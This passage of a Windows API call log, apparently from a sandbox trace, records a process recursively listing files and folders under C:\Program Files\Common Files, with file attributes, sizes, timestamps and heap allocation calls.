ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x400, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0092.314] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.314] GetProcessHeap () returned 0xc00000 [0092.315] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.315] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="VSTO", cAlternateFileName="")) returned 1 [0092.315] GetProcessHeap () returned 0xc00000 [0092.315] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.315] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="..", cAlternateFileName="")) returned 1 [0092.315] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="10.0", cAlternateFileName="")) returned 1 [0092.315] GetProcessHeap () returned 0xc00000 [0092.315] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e89a0 [0092.346] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.347] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="1033", cAlternateFileName="")) returned 1 [0092.347] GetProcessHeap () returned 0xc00000 [0092.347] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37ea900 [0092.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8ce0 [0092.399] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.399] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0092.399] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0092.399] FindNextFileW (in: hFindFile=0x37e8ce0, lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0092.399] FindClose (in: hFindFile=0x37e8ce0 | out: hFindFile=0x37e8ce0) returned 1 [0092.399] GetProcessHeap () returned 0xc00000 [0092.399] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37ea900 | out: hHeap=0xc00000) returned 1 [0092.399] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0092.400] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x59a70, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0092.400] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0092.400] FindNextFileW (in: hFindFile=0x37e89a0, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xbee8, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0092.400] FindClose (in: hFindFile=0x37e89a0 | out: hFindFile=0x37e89a0) returned 1 [0092.400] GetProcessHeap () returned 0xc00000 [0092.400] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.402] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x400, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0092.402] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4298, dwReserved0=0x0, dwReserved1=0x400, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0092.402] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x400, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0092.402] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x400, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0092.402] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.402] GetProcessHeap () returned 0xc00000 [0092.402] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0092.403] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="VSTO", cAlternateFileName="")) returned 0 [0092.403] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0092.403] GetProcessHeap () returned 0xc00000 [0092.403] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0092.404] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0092.404] GetProcessHeap () returned 0xc00000 [0092.404] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0092.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0092.405] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="..", cAlternateFileName="")) returned 1 [0092.405] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0092.406] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0092.406] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0092.406] GetProcessHeap () returned 0xc00000 [0092.406] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0092.406] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0092.406] GetProcessHeap () returned 0xc00000 [0092.406] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0092.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0092.406] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="..", cAlternateFileName="")) returned 1 [0092.407] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6e6, cFileName="ado", cAlternateFileName="")) returned 1 [0092.407] GetProcessHeap () returned 0xc00000 [0092.407] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.639] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.640] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52a0c6a1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x52a0c6a1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x52a0c6a1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0092.640] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0092.640] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0092.640] GetProcessHeap () returned 0xc00000 [0092.640] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0092.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e9120 [0092.640] FindNextFileW (in: hFindFile=0x37e9120, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0092.641] FindNextFileW (in: hFindFile=0x37e9120, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0092.641] FindNextFileW (in: hFindFile=0x37e9120, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0092.641] FindClose (in: hFindFile=0x37e9120 | out: hFindFile=0x37e9120) returned 1 [0092.641] GetProcessHeap () returned 0xc00000 [0092.641] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0092.641] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0092.642] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463fb128, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xced4b5c5, 